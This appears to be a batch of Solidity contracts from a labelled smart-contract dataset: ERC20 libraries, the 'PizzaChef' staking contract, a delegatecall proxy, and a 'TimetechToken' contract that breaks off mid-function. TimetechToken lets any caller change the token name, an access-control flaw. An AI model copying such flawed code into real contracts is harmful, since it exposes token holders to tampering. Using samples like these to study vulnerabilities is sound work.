* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// PizzaToken with Governance.
contract PizzaToken is ERC20("pizzafinance.com", "PIZZA"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
contract PizzaChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of PIZZAs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accPizzaPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accPizzaPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. PIZZAs to distribute per block.
uint256 lastRewardBlock; // Last block number that PIZZAs distribution occurs.
uint256 accPizzaPerShare; // Accumulated PIZZAs per share, times 1e12. See below.
}
// The PIZZA TOKEN!
PizzaToken public pizza;
// Dev address.
address public devaddr;
// Block number when bonus PIZZA period ends.
uint256 public bonusEndBlock;
// PIZZA tokens created per block.
uint256 public pizzaPerBlock;
// Bonus muliplier for early pizza makers.
uint256 public constant BONUS_MULTIPLIER = 1; // no bonus
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when PIZZA mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
PizzaToken _pizza,
address _devaddr,
uint256 _pizzaPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
pizza = _pizza;
devaddr = _devaddr;
pizzaPerBlock = _pizzaPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accPizzaPerShare: 0
}));
}
// Update the given pool's PIZZA allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending PIZZAs on frontend.
function pendingPizza(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accPizzaPerShare = pool.accPizzaPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 pizzaReward = multiplier.mul(pizzaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accPizzaPerShare = accPizzaPerShare.add(pizzaReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accPizzaPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 pizzaReward = multiplier.mul(pizzaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pizza.mint(devaddr, pizzaReward.div(25)); // 4%
pizza.mint(address(this), pizzaReward);
pool.accPizzaPerShare = pool.accPizzaPerShare.add(pizzaReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for PIZZA allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accPizzaPerShare).div(1e12).sub(user.rewardDebt);
safePizzaTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accPizzaPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accPizzaPerShare).div(1e12).sub(user.rewardDebt);
safePizzaTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accPizzaPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe pizza transfer function, just in case if rounding error causes pool to not have enough PIZZAs.
function safePizzaTransfer(address _to, uint256 _amount) internal {
uint256 pizzaBal = pizza.balanceOf(address(this));
if (_amount > pizzaBal) {
pizza.transfer(_to, pizzaBal);
} else {
pizza.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract HOKKDividendTracker {
// Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
constructor(bytes memory constructData, address contractLogic) public {
// save the code address
assembly { // solium-disable-line
sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, contractLogic)
}
(bool success, bytes memory __ ) = contractLogic.delegatecall(constructData); // solium-disable-line
require(success, "Construction failed");
}
fallback() external payable {
assembly { // solium-disable-line
let contractLogic := sload(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7)
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(gas(), contractLogic, 0x0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch success
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
} | True | [
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pragma solidity ^0.4.21;
contract TimetechToken {
using SafeMath for uint;
using SafeERC20 for TimetechToken;
string public name = "timetech";
string public constant symbol = "TTEC";
uint8 public constant decimals = 18;
uint public constant decimalsFactor = 10 ** uint(decimals);
uint public cap = 8290000000 * decimalsFactor;
address public owner;
bool public paused = false;
mapping(address => uint256) balances;
uint256 totalSupply_;
mapping (address => mapping (address => uint256)) internal allowed;
bool public mintingFinished = false;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Pause();
event Unpause();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event NameChanged();
event CapChanged(uint256 oldVal, uint256 newVal);
function TimetechToken() public {
paused = true;
owner = msg.sender;
}
function setName(string _name) public {
require(bytes(_name).length != 0);
name = _name;
emit NameChanged();
}
function setCap(uint256 _cap) onlyOwner public {
require(cap > 0);
require(_cap >= totalSupply_);
uint256 old = cap;
cap = _cap;
emit CapChanged(old, cap);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) {
